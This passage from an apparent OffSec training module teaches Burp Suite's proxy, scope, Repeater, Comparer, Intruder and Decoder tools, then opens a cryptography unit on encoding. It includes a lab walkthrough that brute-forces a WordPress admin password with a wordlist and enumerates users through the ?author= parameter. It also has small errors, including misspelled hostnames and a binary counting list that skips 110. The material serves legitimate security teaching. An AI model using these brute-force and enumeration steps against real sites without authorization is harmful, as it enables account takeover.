because of its direct integration into Burp Suite.
However, before we had Burp Suite's built-in browser, we had to do
things a little differently. In the past, it was most efficient to
configure Mozilla Firefox as our testing browser by adjusting its
network and proxy settings.
In this Learning Unit, we're going to be discussing how to work with,
and intercept requests from, both browser options.
Burp Suite is an integrated platform for web application security
testing and auditing. Rather than being a singular tool, it consists
of multiple tools targeted at testing web applications. Burp Suite
will be one of our go-to tools from the early stages of mapping out
the application through carrying out an attack. Regardless of which
version of Burp Suite we use, the one present on our Kali Linux
attacking machine is enough for our needs.
Throughout this Learning Module, we'll be using our sandbox as a means
of working hands-on with the material. Let's start the VM in the
Resources section at the bottom of this page.
This will launch the VM for our exercises, and if we are not connected
to the VPN, we are also going to be able to access a browser-based
Kali instance.
Now we need to create an entry in our /etc/hosts file so that
we can access the VM.
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.50.160 offsecwp
Listing 1 - Hosts File Configuration.
With our resources configured, we're now ready to open Burp Suite,
which is installed by default on Kali Linux.
We need to open Kali's main menu on the upper left of the desktop,
then we need to expand the section called Web Application Analysis,
and there we'll find Burp Suite's entry to open it.
After our initial launch, we'll notice a warning that Burp Suite has
not been tested on our JRE. Since the Kali team always tests Burp
Suite on the Java version shipped with the Operating System, we can
safely ignore this warning.
We'll avoid spending too much time with Project Options and click
Next to continue. The free version of Burp Suite does not permit
project use, so we can skip this for the time being. Let's click
Next to move on to the update page.
If we get the message, we can click Close since we don't want to
update right now. Therefor, we'll just click Next.
We then receive a request to select a configuration, shown in the
figure below.
Burp Suite allows us to export and import project configurations
depending on our workflow needs. Since this is our first time starting
Burp, let's keep the defaults and click Start Burp.
Burp Suite provides its own native built-in web browser based on
Chromium.[245] Let's familiarize ourselves with this tool
first.
After launching Burp Suite, we'll click on the Proxy tab, then the
Open Browser button.
Next, a browser window will appear.
With the Intercept button de-activated, Burp's Proxy will
automatically forward the requests the browser makes to the server.
Regardless of the state of the Intercept button, Burp Suite will store
the requests we send.
In the coming sections, we'll further discuss the tabs displayed
within Burp Suite.
Next, we'll configure a web browser to communicate with Burp Suite
over port 8080 via the proxy configuration.
Before we move on to some of the other tools in Burp Suite,
let's demonstrate how to configure another browser to use Burp
Suite as a proxy. In Firefox, we can do this by navigating to
about:preferences#advanced, scrolling down to Network
Settings, and then clicking Settings.
Here we'll choose the Manual option, setting the appropriate IP
address and listening port. In our case, the proxy and browser
reside on the same host, so we'll use the loopback interface and
specify port 8080. However, if we planned on using the proxy to
intercept traffic from multiple machines, we would use the public IP
address of the machine running the proxy for this setting. Also worth
noting is that we could set this value to an internal LAN IP.
Burp Suite will listen by default on the loopback interface,
therefore if we need to make it listen on another interface, we would
need to make that change within Burp Suite itself.
Finally, we also want to check Use this proxy for FTP and HTTPS to
make sure that we can intercept every request while testing the target
application.
Note that once we configure Firefox in this way, we will need Burp
Suite running to access any website. To stop using Burp Suite as a
proxy, we must return to connection settings and select Use system
proxy settings or No proxy. Alternatively, we could use any number
of browser add-ons (such as FoxyProxy[246]) to switch between proxy
server settings.
Proxy and Scope
This Learning Unit covers the following Learning Objectives:
- Understand how to work with Burp Suite's Proxy functionality.
- Understand how to work with Burp Suite's Scope functionality.
In this section, we are going to discuss some theories to better
understand what a proxy is, how proxies are used, and how we can
leverage them to exploit various services. We should keep in mind that
our primary work with proxies will focus on web surfaces.
Proxies are described by Wikipedia[247] as follows.
Instead of connecting directly to a server that can fulfill a
requested resource, such as a file or web page, the client directs the
request to the proxy server, which evaluates the request and performs
the required network transactions.
Essentially, a proxy is a server application that acts as a
man-in-the-middle or intermediary between requests from a client to
a server.
On the other hand, during our engagements, we'll also need to
know about our target scope.[248] A target scope is going
to incorporate authorized target domains, IP ranges, or specific
endpoints into our penetration tests. Fortunately, Burp Suite has a
wonderful and powerful tool that works with this concept known as the
Scope tool.
In this Learning Unit, we're also going to take some time to discuss
the Scope tool with the intent of keeping our engagements more
clean, organized, and containing relevant information to our target.
First, however, let's discuss the concept of a proxy.
We'll now explore the Proxy tab. This section
manages the interception of web traffic, which is the core
functionality of Burp Suite itself. During our application
assessments, we'll switch to this window often to turn the intercept
functionality on or off.
If the intercept functionality is set to on, Burp will pause before
forwarding all of the traffic that passes through the browser.
However, if it is turned off, our requests will still be stored in
the HTTP History tab, which we can access later.
As intercepting requests is the primary functionality of Burp Suite,
the tool is configured to intercept by default. By directing our web
browser to http://offsecwp/wp-login.php, we'll observe that Burp
Suite captures the request inside of the Proxy tab, as shown below.
Requests can also be edited after being intercepted and then forwarded
by clicking the Forward button. However, for the purpose of this
demonstration, we'll just click on Forward without modifying the
request and review the results in our web browser.
We have now verified the capture inside of Burp Suite for the initial load
of the http://offsecwp/wp-login.php URL endpoint.
wp_login.php is an important WordPress[249] file
that sends login information and also processes that information
after it's been sent from a login form. We should take a moment to
note this file as it will be important later on.
Let's click on the HTTP history tab, located next to the Intercept
tab. This tab displays a history of every item and endpoint used
during our session, similar to how the browser would store recent
searches or visited domains.
Let's visit various pages of the WordPress website and review how the
history is displayed. Browsing through the site, we can observe how
the HTTP history tab updates accordingly.
The history tab will sort the pages we have visited and traffic
that we forward in sequential order, as shown by the "#" indicator
in the first column. This column indicates the order in which we
visited the pages. In this case, our first listing is the URI of
/wp-login.php.
Additionally, we can click the "#" column to review which
requests were sent in-order either ascending or descending.
We can continue browsing the website and switching between the browser
and the HTTP history tab to observe this in action.
Next, let's click on Proxy Settings, marked by a cog icon in the
latest version of Burp Suite.
There are two important reasons for us to review this. First, if we
ever need to make changes to the local port Burp Suite is bound to,
we'll manage that in this new window by clicking the respective Add
or Edit buttons.
Second, if we scroll down, we'll find the Match and Replace
functionality that we can use when a request is intercepted. This
functionality allows Burp Suite to modify requests and responses based
on the enabled rules. We can leverage this to render content from the
perspective of Internet Explorer, Google Chrome, or Firefox, for
example, even mimicking mobile devices.
It would be useful to familiarize ourselves with the additional
configuration options presented in the Proxy > Proxy Settings
window. For now, we've covered the basic understanding needed for this
Learning Module. In the next section, we'll discuss the concept and
functionality of Scope.
We could further practice the concepts presented in this section by
attempting to load the http://offsecwp endpoint and capture the
data in the Proxy tab. Clicking around the website and capturing
other requests is also good practice.
The Scope[248-1] functionality of Burp Suite is particularly useful
in real-world engagements. This functionality allows us to define our
own target for relevant results. By doing so, we can effectively view
and work with resources solely from that domain.
This might seem like a lot, but let's get to work on understanding
exactly what this entails. To do that, we're going to need to
understand how Burp Suite's HTTP History tab functions. As it stands,
with Burp Suite open and no defined target scope, Burp Suite will
store each and every resource or request that passes through the
proxy. In this section, we're going to be viewing the HTTP History
tab with both having defined a scope and not having a target scope
specified.
First, let's review Burp Suite's HTTP History functionality with
no defined scope by browsing a few web pages in the sandbox at
http://offsecwp/ and then reviewing our history.
For best results in this section, we should make sure the history is
initially clear. We can do this by clicking Proxy > HTTP History.
when in the HTTP History tab we can Right Click > Clear History.
We should now have a clean history as displayed below.
With our history clear and no scope yet defined, let's use Burp
Suite's built-in web browser to load a few web pages. First,
we'll browse to http://offsecwp/. Then, we'll browse to
https://www.MegaCorpOne.com and review our HTTP History results.
Even after browsing only two domains, we get a plethora of results.
Most of these results are almost always going to be web application
resources. These often take the form of JavaScript and CSS files.
All that information can get a bit messy, especially after we've been
assessing an application for days. By then, we would have accumulated
a massive history! Therefore, it would be nice to view our HTTP
History and have it display only the current target scope results
and resources such that we can more easily review them.
Before we proceed, we need to Right Click > Clear History one more
time.
With our history cleaned again, we're ready to define our target
scope.
In order to define a target scope, we'll have to click on Target >
Scope Settings inside of Burp Suite. This will open up the settings
for our Project's scope in a new window.
Now that we're in the Scope tab, we're ready to define our target
scope.
Let's do so by clicking the Add button. Upon doing so, we'll be
presented with a pop-up box that asks us to define a "prefix". We'll
set the prefix value to be http://offsecwp and click OK.
After clicking OK, we will be presented with a pop-up box. This box
asks us if we want Burp Suite to stop sending out-of-scope (OOS) items
to the HTTP History tab. We'll move forward by clicking Yes, as we
do not want any irrelevant resources in our history.
That's it; we've now defined our own custom target scope and
configured Burp Suite to ignore out-of-scope requests. At this point,
we can close the settings window.
Let's now do exactly as we did at the beginning of this section
by returning to Burp Suite's built-in browser and loading both
http://offsecwp/ and https://www.MegaCorpOne.com/. When we're
done with that, we'll return to the HTTP History tab and review the
results.
Fantastic, we loaded both web pages but only http://offsecp is
displayed in our history. Resources will also be loaded and
displayed here, but this time, they will only be displayed if they
come from http://offsecwp.
Before we conclude, there is one last portion of the Target tab that
we'll briefly cover: Site map.
The Site map gives us an overview of our engagement by providing a
list of all the resources requested while Burp Suite was open during
the testing. This is especially useful for endpoints that we come
across and might not remember on a separate day.
Shown above, we have the site map for http://offsecwp. It should
be noted that what is shown above may appear different for a Student,
but the principle is exactly the same. Site map does exactly what it
says and gives us a full list of all resources requested during our
testing sessions.
In the coming Learning Unit, we'll expand our knowledge of the most
important tools in Burp Suite.
Core Burp Suite Tools and Tabs
This Learning Unit covers the following Learning Objectives:
- Understand the Repeater tool in Burp Suite
- Understand the Comparer tool in Burp Suite
- Understand the Intruder tool in Burp Suite
- Understand the Decoder tool in Burp Suite
When we perform web application assessments in Burp Suite, we're going
to be making use of the tools discussed in the coming sections for the
vast majority of our time. The primary purpose of these tools is to
provide us with information about our target, whether it be through
the ability to specially craft requests or decode encoded data.
The tools we discuss in this Learning Unit will be absolutely crucial
to our success in web courses from Offensive Security. It's important
that we take our time when working through this Learning Unit to
understand the concepts discussed. We're going to need a core
understanding of Repeater, Comparer, Intruder, and Decoder to be
effective web assessors.
Coming up, we're going to begin with arguably the most important tab
and tool built into Burp Suite: Repeater.
The Repeater[250] acts as our primary Burp Suite tool during
web assessments. We'll spend a great deal of time using Repeater to
discover vulnerabilities and strike at a web application.
The Repeater allows us to craft special requests, which we then
send to the target server. Most of our testing will be intercepting
requests from a target application and then modifying them to be sent
along. The Repeater allows us to do this as much as we like. We're
even able to review the result of our sent request in the Response
panel of the Repeater tab. It's not uncommon during an engagement to
have upwards of 20 or even 40 tabs open at any given time.
Let's begin by crafting an example to visualize how to send a request
to the Repeater tab.
We'll start by turning on intercept and then open Firefox and navigate
to http://offsecpwp/wp-login.php, thus capturing the request.
Within the Proxy tab request, we need to right-click and select Send
to Repeater, then click on the Repeater tab to view our captured
request.
Our request is finally ready to be reviewed and modified, as shown
below.
Let's take a moment to familiarize ourselves with this particular tool
inside Burp Suite.
On the left side of the tab, we'll find the Request panel. This
panel contains our captured request for the
http://offsecwp/wp-login.php endpoint. On the right, we'll notice
the Response panel. Currently, the response panel is empty as we
have not sent any request to the target server yet.
The Response panel works much like the View Source functionality
of a web browser, except it will include any response headers along
with the raw body of the response. This panel will be populated with
data after we click the Send button on the top left.
Repeater allows us to perform targeted changes and manipulations
to any HTTP request, send it to a web server, and view the
corresponding response. This is a particularly useful tab because it
allows us to quickly and effectively test our ideas and payloads in
the most minimal way possible.
For example, we will click Send and take note of the response in the
right-hand panel as shown in the figure below.
Next, let's take a moment to introduce the
C+B+u hotkey combination in Burp Suite. We
can use this hotkey after selecting any or all of the text from an
encoded HTTP request to quickly decode it to a human-readable format.
When decoding text, we can also use the Inspector tool. The
Inspector is located on the far right side of the Repeater tab and
directly next to the response panel. Let's use the following encoded
string to demonstrate how we can decode it to a human-readable format.
%2Fsearch.php%3Fquery%3Dsample+search+query+encoded
Listing 2 - Encoded Sample URI
We will paste the encoded sample URI string above in the Request
panel, then highlight it to observe the Inspector tool in action. The
output provides the decoded string on the right side.
As shown above, we decoded the string fairly quickly by leveraging the
Inspector within Repeater. This is a helpful alternative method for
decoding a string inside Burp Suite using a keyboard shortcut.
Additionally, if we ever need to decode the contents of a request,
we can make use of the Decoder tab in Burp Suite. This will be
explained later in this Learning Unit.
Often, when assessing different portions of web applications, we can
be presented with two pages that appear the same but have differences
in response size. A difference in response size can be indicative of
either a change in header responses or response data. If we're
uncertain about what the difference is between two requests, we can use
Burp Suite's Comparer tool to assist us.
Let's return to Burp Suite and click on the Comparer tab.
As shown above, we have the Comparer tool open with two large boxes
and some options on the right side of the tool. We have the
ability to paste, load, remove, or clear information from the top box.
The bottom box will update automatically depending on which item is
selected for comparison.
For example, we're going to compare two separate requests. One will be
a GET request to http://offsecwp/, and the other for comparison
will be a GET request to http://offsecwp/wp-login.php.
Let's load both of those endpoints into two separate tabs within Burp
Suite's built-in web browser. After doing so, we'll visit the HTTP
History tab to send each request to Comparer.
As shown above, we have both of the endpoints loaded in two separate
tabs within our web browser. We also have the HTTP History tab open,
and each request is highlighted respectively.
Suppose that we want to perform a comparison between the responses
of each request. To do so, we'll right-click on the request to
http://offsecwp/ and select Send to Comparer (Response).
Similarly, we will do exactly the same for the request to
http://offsecwp/wp-login.php.
Now that we've sent both requests, let's click on Comparer.
Now that we have both responses loaded into Comparer, let's review
what kind of comparison we can actually do. In the bottom-right of the
Comparer, we notice the buttons Words and Bytes. We can compare
both items either for a difference in bytes or for their differences
in whole words.
For the sake of this demonstration, let's select the first item
and then click Words in the bottom right.
As shown above, we have both of our responses loaded into a new pop-up
window that displays the first item on the left and the second item on
the right. The Comparer does a great job at highlighting the different
types of differences between the two items. For example, we can have
differences in modified information, deleted information, or added
information.
Each type of difference is displayed clearly in different shades and
colors to show a line-by-line comparison and difference between two
files.
The reason we choose to compare the / URI and /wp-login.php is
because they are both vastly different in terms of what gets rendered
in a web browser. Therefore it makes for a strong example of what
Comparer actually does. This is verified by the above image that shows
multiple differences between each request in both the headers and the
content itself.
In the coming section, we're going to move on to yet another tool
that will be incredibly useful in our assessments of web applications:
Intruder.
Let's explore Burp further by clicking the Intruder[251]
tab, then clicking on Positions.
We can leverage our captured requests using this tab to position
our manipulated text in payload wordlist form at a location of our
choice. While this tab provides excellent functionality, we will have
a few limitations to deal with because Burp Suite Community Edition
restricts some of Intruder's features.
Later in the Learning Module, we'll learn how to use free tools for
fuzzing[252] payload positions.
We should nevertheless gather a firm understanding of what Intruder
can do for us. Whenever we capture a request, every form of input,
including GET data, POST data, and headers, can be manipulated with
Intruder. We can modify our payload position by first clearing all
instances of "§" characters, moving our cursor position to where we
want the payloads inserted, and clicking Add §.
For now however, we'll load the http://offsecwp/wp-login.php
endpoint, and enter some values into the username and password input
fields. The reason for this is so that they'll be noticeable during
the interception. We'll choose "admin" for the username. After
clicking the Login button, Burp Suite intercepts our request in the
Proxy tab.
We can right-click on the request and select Send to Intruder to
move our intercepted request into the Intruder tab.
Clicking on the Intruder tab, we'll discover that Burp Suite
has configured the request for a brute forcing type of attack, as
shown below.
Intruder has filled almost all input sources (with the exception
of headers) and wrapped them in the section sign (§) character. Any
wordlist payload we select will be inserted between these characters.
If we want to quickly clear all of the section sign characters at once
and specify that we are only interested in one or two parameters, we
can simply click Clear § on the right-hand side. Once cleared, we
can highlight the area we want and click Add §. This will place two
payload position characters over and around our highlighted area.
Let's practice by targeting the pwd parameter to attempt brute
forcing the admin account. Note that the pwd parameter can be
empty for the purposes of this lesson.
The type of Intruder attack we are carrying out in this section is
known as a Sniper[253] attack.
This is the first and default option selected when performing an
Intruder attack. A sniper attack will place our wordlist payloads
between the § characters. For example, if the wordlist contained the
word "offsecSniper" and we were to start the attack, Burp Suite would
place the word "offsecSniper" between the §§ characters.
The second type of Intruder attack type is known as the Battering
Ram.[253-1] In our current example, we're just brute forcing
the password (pwd) parameter. However, suppose that we also wanted
to attempt to brute force the username or log parameter as well
but with the same wordlist. In that case, we would just place an
additional set of § characters into the log parameter, such as in
the listing below, and start the attack. Both parameters would be
tested with the same wordlist, and the same values would be used for
both positions.
log=§§&pwd=§§&wp-submit=Log+In&redirect_to=http%3A%2F%2Foffsecwp%2Fwp-admin%2F&testcookie=1
Listing 3 - Additional § Characters for a Battering Ram Attack.
Thirdly, we have the Pitchfork[253-2] attack option. This
attack option is actually just like what we're currently doing by
brute forcing the password field with a Sniper attack. However, a
Sniper attack only uses a single payload wordlist and usually expects
only a single position. The pitchfork attack option will
allow us to test multiple parameters by providing separate wordlists
or payload lists for each position. In other words, we could have a
wordlist for the username and a separate wordlist for the password
parameter.
The last attack option is known as a Cluster Bomb[253-3]
attack. Much like a Pitchfork attack, this payload option uses
multiple payload wordlists to test multiple parameters. However, the
core difference is that a Cluster Bomb attack will iterate through
each of our wordlists for each of our testing parameters. In other
words, we ensure that all tested parameters get the same treatment as
far as a wordlist or payload list is concerned. Naturally, this will
generate an exponential number of attack requests and network traffic
due to each wordlist getting the same treatment. However, a Cluster
Bomb attack ensures that all test positions are iterated through.
For the sake of this demonstration, we're going to continue with
a Sniper attack.
With our testing position well defined in the pwd parameter shown in
the previous figure, we're ready to select our payload wordlist. Let's
click on the Payloads tab.
Let's load a wordlist using the custom small wordlist provided
below. We will create a file in our user's home directory called
wordlist-test.txt.
kali@kali:~$ echo -e 'somepassword \nthispasswordwontwork \nhackerelite9000 \nroses \nblueblue \ncolor \ngreengreen \npassword \nadmin \nroot \ntoor' > wordlist-test.txt
Listing 4 - Short custom wordlist for Intruder
While using Burp Suite Community Edition means our requests will be
throttled, we can still leverage Intruder for this attack. We can load
any wordlist we want into the Payload Options [Simple list] section
of this tab.
Let's click Load... and load our wordlist into Burp Suite.
Next, we'll select wordlist-test.txt and click Open.
After verifying that our chosen wordlist has been loaded into Burp
Suite, we can begin our attack by clicking Start Attack in the
top-right section of the Intruder tab.
We will receive a pop-up message warning us that our requests will be
throttled because we are using Burp Suite Community Edition. We can
simply click OK to move forward with the attack.
By carefully paying attention to the response size returned, we'll
notice that the length of a successful login with the password value
of "password" provides a different response size than the other failed
attempts.
A successful attack yields a response size of 1189 characters.
With the password cracked, we can now log in to the administrative
interface for WordPress.
Before we conclude, let's discuss another brief example. This time,
we'll be creating a wordlist that contains the numbers 1-10 and using
it to discover which users are present on the target WordPress
machine.
echo -e '0 \n1 \n2 \n3 \n4 \n5 \n6 \n7 \n8 \n9 \n10' > wordlist-numbers-test.txt
Listing 5 - Short custom numerical wordlist for Intruder
With the wordlist called wordlist-numbers-test.txt created and in
our Kali home directory, we're ready to move forward. Similar to the
work we did in the Repeater section of this Learning Unit, we will be
targeting the ?author= parameter. Therefore, let's turn on the
Intercept functionality within Burp Suite and browse to
http://offsecwp/?author=1. Upon doing so, we will be presented
with the following GET request inside of Burp Suite.
Shown above, we have our intercepted request that contains the
?author= parameter. This will be our new primary target when we send
the request to Intruder.
Let's now click the Intruder tab and review our request.
As highlighted above, we've added the § characters as we did with the
previous example for the login form. However, this time, we've placed
the payload position characters into the value portion of the
?author= parameter. As before, this is where our payload wordlist
will be inserted when we start the attack. For now, however, with our
§ characters in place, let's click on Payloads.
Then, we again click Load and select our custom wordlist
(wordlist-numbers-test.txt).
At this point, we're ready to launch the attack in an attempt to
enumerate all the users on the target WordPress machine. Let's do so
now by clicking on Start Attack in the top-right of the Payloads
tab.
We'll be presented with a popup again telling us of the limitations in
Burp Suite Community Edition regarding Intruder and how fast requests
can be made. We'll ignore this and click OK.
The attack will start and send a total of 10 requests to the target
server.
Shown above, we have the results of our attack. The server responded
with four "200 OK" responses. If we scroll down in the Response
panel for the second request, we will note that this user corresponds
to the admin user of the WordPress application.
In the next section, we will discuss the Decoder tool.
When performing assessments, we might come across resources in an
application that are encoded.[254] Reasons for encoding data
are to prevent it from appearing in plain text format and also to
compress the size of the information being sent. Specifically, we'll
be working with Binary-to-Text encoding.
These types of encodings are also commonly referred to as ASCII
Armor, especially when working with base64.[255]
Let's suppose that during an engagement, we came across a base64
encoded string. We could use online resources to decode that
particular string, but Burp Suite has the ability to decode
information built-in with the Decoder.[256]
Let's click on the Decoder tab and review what capabilities are
available to us for decoding encoded strings.
Above, we have an input box that will take an encoded string.
Next to it, located on the right side, is a set of options for
both decoding, encoding, and hashing of strings.
We're going to need a test string to continue working with the Decoder.
V2VfUmVhbGx5X0RvX0xvdmVfQnVycF9TdWl0ZQo=
Listing 6 - Base64 String for Testing Decoder.
With the above string copied to our clipboard, let's paste it into
the input field. Upon doing so, a second box will appear beneath.
This second box is going to output the decoded information of whatever
we place in the top field. Before it can be shown in a decoded format,
however, we're going to have to tell Burp Suite what kind of encoded
string we're working with. In this case, it's a base64 string.
Therefore, in the top-right corner, let's click once on Decode
as .... We'll be presented with a rainbow list and drop-down menu of
options for various encoding types. Everything from URL, HTML, Base64,
ASCII hex, Hex, Octal, Binary, and Gzip encoding is available. For the
purposes of this example, we'll select Base64.
Burp Suite will automatically decode the encoded base64 string for us.
With that, we have the decoded string "We_Really_Do_Love_Burp_Suite".
Having a readily accessible tool built into our primary assessment
application is an incredibly valuable resource. The next time we find
an encoded piece of information in a web application, we
should remember to run it through Burp Suite's Decoder and take
note of the results.
Professional Features
Here we will be providing a brief overview of what core professional
features exist within a paid version of Burp Suite. A professional
version of Burp Suite can be acquired directly through PortSwigger's
website.
This Learning Unit covers the following Learning Objectives:
- Understand the professional features of Burp Suite's ActiveScan++
- Understand the professional features of Burp Suite's Collaborator tool.
- Understand the professional features of Burp Suite's Intruder tool.
- Understand the professional features of Burp Suite's CSRF PoC Generation tool.
Before we begin this section, we would like to put heavy emphasis on
the fact that these professional features are by no means necessary
to complete any of our course material. With that being said,
we will cover the core principles behind the professional features
that Burp Suite offers should a student ever decide to purchase an
individual license.
In this Learning Unit, we're going to briefly cover the individual
features of Burp Suite's Active Scan++ tool, Collaborator, and the
modified Intruder aspects.
First, let's talk about the Active Scan functionality that comes
along with a Professional Burp Suite license. Commonly known as
ActiveScan++,[257] this tool will perform autonomous
scanning on a domain, an endpoint, or even from a specific intercepted
request. ActiveScan++ will crawl first for information and
spider[214-1] over a website with very light traffic to develop a
map for what comes next, which is the active scan itself.
In other words, ActiveScan++ will make an attempt to crawl a website
and then perform automated vulnerability scanning.
Next, we have the Collaborator[258] tool. This tool is
particularly fantastic as it acts as a kind of "passive partner" for
discovering vulnerabilities in web applications. Whenever we would
decide to activate Collaborator, all of our requests and payloads will
be sent additionally to the Collaborator server, which is started the
moment we activate the tool. If the Collaborator server detects any
interaction between the request made and its internal database, the
tester will be notified. Hence, the name of "Collaborator" is given to
this tool as the tester is meant to work alongside and collaborate
with the server.
Also of note is the primary change that comes with Burp Suite's
Intruder.[251-1] In Burp Suite Community Edition, a tester can
technically use the Intruder tool; however, testers will be prompted
and notified of the fact that Burp Suite is performing throttling to
slow down the rate at which brute force traffic is generated. With
Burp Suite Professional Edition, this limit is lifted and no such
throttling occurs, allowing us to perform many aggressive wordlist
attacks without waiting for too long.
Lastly, let's cover the benefits of CSRF PoC generation. The Generate
CSRF PoC[259] tool will perform a deep analysis on an HTML form
or input elements that are submitted to a target server for processing
and create a potential candidate proof of concept(PoC)[260] for a
Cross-Site Request Forgery(CSRF)[261] attack.
Even if a form is not actually vulnerable, Burp Suite Professional
will still make an attempt to create or "generate" a CSRF PoC.
Cryptography
In this Module, we will cover the following Learning Units:
- Cryptography Jargon
- Encoding Part I
- Encoding Part II
- Hashing
- Password Security
- Symmetric-Key Encryption
- Asymmetric-Key Encryption
- Cryptography - Cumulative Exercise
Cryptography,[262] from the Greek word "kryptos"
(meaning concealed), involves the concealment of information
from third-parties. In this Module, we will discuss the basics of
cryptography, including encoding, hashing, and encryption.
The CIA triad is a foundational concept in Information
Security.[263]^,[264] Perhaps as a bit of
review, we'll remind ourselves that the CIA acronym refers to
the Confidentiality, Integrity, and Availability of our data.
Cryptography itself is concerned with the first two
thirds of that triad--the confidentiality and integrity of data.
Since cryptography plays such a critical role in data protection,
especially when it comes to secure communications, it's extremely
important for a security professional to be familiar with the key
concepts.
In the following Learning Units, we will first learn about data
transformation mechanisms such as encoding and hashing. Then, we will
learn about symmetric and asymmetric encryption.
Cryptography Jargon
This Learning Unit covers the following Learning Objectives:
- Become familiar with some of vocabulary used in cryptography
- Obtain a reference to return to when tackling future Learning Units
Since Cryptography tends to use quite a bit of jargon, let's think of
this Learning Unit as a sort of glossary of terms that we can return
to as needed. In alphabetical order, here are a number of the terms we
may encounter.
AES: 128-bit symmetric-key block cipher with three fixed key size
variants.
Asymmetric encryption: Model of encryption that uses the
recipient's public key to encrypt a message, and the recipient's
private key to decrypt a message.
Bit: The smallest unit of binary data. Must be either 0 or 1.
Block Cipher: An encryption algorithm that operates on a group of bit
at once rather than only one bit at a time. Contrast with Stream Cipher.
Blowfish: 64-bit symmetric-key block cipher with variable key
size.
Byte: Eight bits of binary data. There are 256 (2^8) potential
values.
Cipher text: Text that has been transformed into an unreadable
message via some encryption algorithm.
Clear text: Human-legible text. Can be transformed into cipher
text via an encryption algorithm. Synonym of "plain text".
Cryptographic key: A string of bits used by a cryptographic
algorithm to transform plain text into cipher text or vice versa.
Decoding: The opposite of encoding.
Decryption: The opposite of encryption.
Digest: The output of a hashing algorithm. Synonym for "hash".
Encoding: A means of transforming data from one format to another.
Encryption: The process of scrambling data or messages, making it
unreadable and secret.
Entropy: The amount of unpredictability in a given ciphertext.
Entropy colloquially refers to how close the ciphertext is to ideal
randomly generated text.
Fundamental Theorem of Arithmetic: The mathematical statement
that every natural number greater than 1 must be either prime or a
product of unique prime factors. Forms the basis of many asymmetric
cryptography implementations.
Hash: The output of a hashing algorithm. Synonym for "digest".
Hashing algorithm: A one-way function that takes arbitrary
input and produces fixed-length output, such that every unique input
produces unique output with very high probability.
MD5:[265] Widely used hashing function that produces a
128-bit digest. Although MD5 was initially designed to be used as
a cryptographic hash function, it has been found to suffer from
extensive vulnerabilities. It can still be used as a checksum to
verify data integrity.
Nibble: Four bits of binary data. There are 16 (2^4) potential
values.
Plain text: Human-legible text. Can be transformed into cipher
text via an encryption algorithm.
Salt: A string appended to a password to create a unique
digest when run through a hashing algorithm.
Stream Cipher: An encryption algorithm that operates on one bit
of plaintext at a time. Contrast with Block Cipher.
Symmetric-key encryption: Model of encryption that uses the same
shared key for both encryption and decryption.
Encoding Part I
This Learning Unit covers the following Learning Objectives:
- Understand the basics of encoding
- Understand binary, hexadecimal, and ASCII encoding
- Gain experience encoding to and from these formats
Encoding is a means of converting data. There are a great number of
contexts for encoding. Data may be converted into another format in
order to transmit it, store it, or compress it. Encoding might also
be used to describe a data structure or format, for example a file
format. Algorithms can encode and decode this data without any sort of
key.
It is critical to understand that encoding is not encryption.
As long as someone can determine the rules that were applied to
the original data, they can easily reverse the encoding without any
special knowledge, like passwords or secret keys. For this reason,
encoding should never be used in a situation where the security and
confidentiality of data is critically important.
Arguably the most prevalent encoding in electronics is binary
encoding. It consists of only two basic components and can be
represented by any two values. They might be an ON and OFF state, a
clockwise or counter-clockwise spin, or simply the numbers 1 and 0.
The numbers 1 and 0 are the bedrock of modern computing, and while we
don't have to "speak" binary to use computers, as information
technology professionals, we should be familiar with the basics.
The smallest possible data unit is called a bit, and each bit is
either a binary 0 or 1. For future reference, we'll quickly note that
a group of four bits are called a nibble and a group of eight bits
is called a byte.
Note that executable program files are sometimes called "binary
files" or "binaries" as well, but in this brief section, we're
limiting our discussion to encoding.
Binary encoding allows us to use only a sequence of 0s and 1s to
represent far more complex data. Since computer processors operate
with binary numbers, let's begin our study of encoding by converting
to and from binary numbers.
The base-10 number system we're most familiar with is called
decimal. It has 10 digits, starting from 0 through 9. Let's practice
a bit of encoding by converting numbers between decimal into binary,
which is simply a base-2 number system.
Most Linux distributions include the bc[266] program, which
is a calculator. This calculator can also convert numbers between
different bases. We'll use it to convert a decimal number to binary
using bc on linux.
The obase command stands for "output base". We'll choose
2 for binary. The decimal number that we'll input is
7. bc will display the given number (7) in the
output base (2, or binary).
kali@kali:~$ echo "obase = 2 ; 7" | bc
111
Listing 1 - converting decimal 7 to binary with bc
The decimal number 7 is represented as 111 in binary.
We can use ibase when the input is in a base other than
decimal. Let's convert the binary number 111 back to a decimal format.
kali@kali:~$ echo "ibase = 2 ; 111" | bc
7
Listing 2 - Converting binary 111 to decimal with bc
Let's make sure we understand why 111 in binary is equivalent to 7
in decimal. To do this, we can start counting upwards in both systems
beginning with 0.
| Decimal | Binary |
|---|---|
| 0 | 0 |
| 1 | 1 |
| 2 | 10 |
| 3 | 11 |
| 4 | 100 |
| 5 | 101 |
| 6 | 110 |
| 7 | 111 |
Table 1 - Decimal to binary conversion table
On a Windows machine, we can use the calculator application. In older
versions, the base conversion functionality is in the scientific mode,
but more recent versions have a programmer mode. macOS also has
a calculator application with number conversion functionality under
View > Programmer.
Encoding the decimal 7 into binary 111 is a rather trivial example,
but we can't overstate how important binary encoding will become
later. This will be especially true when we begin to deal with more
complex information security subjects, such as reverse engineering for
example. Understanding how a single bit value change can affect an
entire software application may be the difference between success and
failure for some important security activities.
As critical as binary encoding is, it can be difficult to read a long
string of 0s and 1s. One of the things that can make it a bit easier
to understand is representing binary-encoded data using hexadecimal,
or base-16, numbers.
Our familiar base-10 decimal system has ten digits: 0 through 9. To
get higher numbers, we add an additional digit to the left and begin
counting again. For example:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, ...
Listing 3 - Base 10 digits
As we've seen, the base-2 binary system has two digits: 0 and 1.
Just as with the decimal system, we count until the highest allowed
numeral (in this case, 1), and then insert an additional digit to the left.
0, 1, 10, 11, 100, 101, 111 ...
Listing 4 - Base 2 digits
We can extend this pattern to any arbitrary base and build number
a system from it. Base-16 also starts with 0 and counts up until 9.
However, instead of inserting the next numeral to the right, we keep
counting using the first six letters of the Latin alphabet:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, 13...
Listing 5 - Base 16 digits
Since hexadecimal appears similar to regular decimal numbers at times,
we often differentiate it by adding the prefix "0x".
0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ...
